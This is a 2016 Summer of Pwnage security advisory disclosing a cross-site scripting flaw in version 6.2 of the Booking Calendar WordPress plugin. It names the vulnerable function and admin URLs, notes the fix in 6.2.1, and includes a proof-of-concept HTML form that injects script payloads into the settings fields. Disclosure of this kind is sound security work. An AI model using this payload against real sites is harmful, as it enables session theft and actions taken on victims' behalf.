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Cross-Site Scripting vulnerability in Booking Calendar WordPress Plugin
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Edwin Molenaar, July 2016
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Abstract
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A Cross-Site Scripting vulnerability was found in the Booking Calendar
WordPress Plugin. This issue allows an attacker to perform a wide
variety of actions, such as stealing users' session tokens, or
performing arbitrary actions on their behalf. In order to exploit this
issue, the attacker has to lure/force a victim into opening a malicious
website/link.
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OVE ID
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OVE-20160714-0003
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Tested versions
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These issues were successfully tested on Booking Calendar WordPress
Plugin version 6.2.
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Fix
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This issue is resolved in Booking Calendar version 6.2.1.
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Details
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https://sumofpwn.nl/advisory/2016/cross_site_scripting_vulnerability_in_booking_calendar_wordpress_plugin.html
The vulnerability exists in the wpdev_bk_settings_form_labels() function from booking/lib/wpdev-settings-general.php (line 1492).
All input field on the Booking > Settings > Fields page are vulnerable to Cross-Site Scripting, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=form.
Also all the form from the Booking > Settings > Import tab are vulnerable to Cross-Site Scripting, however a valid anti-CSRF token in this tab is required, eg http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=sync.
Proof of concept
<html>
<body>
<form action="http://<target>/wp-admin/admin.php?page=booking%2Fwpdev-booking.phpwpdev-booking-option&tab=form" method="POST">
<input type="hidden" name="booking_form_field_label1" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_label2" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_label3" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_label6" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_values6" value="" />
<input type="hidden" name="booking_form_field_label4" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="booking_form_field_active4" value="On" />
<input type="hidden" name="booking_form_field_label5" value=""><script>alert(document.domain)</script>" />
<input type="hidden" name="Submit" value="Save Changes" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
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Summer of Pwnage (https://sumofpwn.nl) is a Dutch community project. Its
goal is to contribute to the security of popular, widely used OSS
projects in a fun and educational way.
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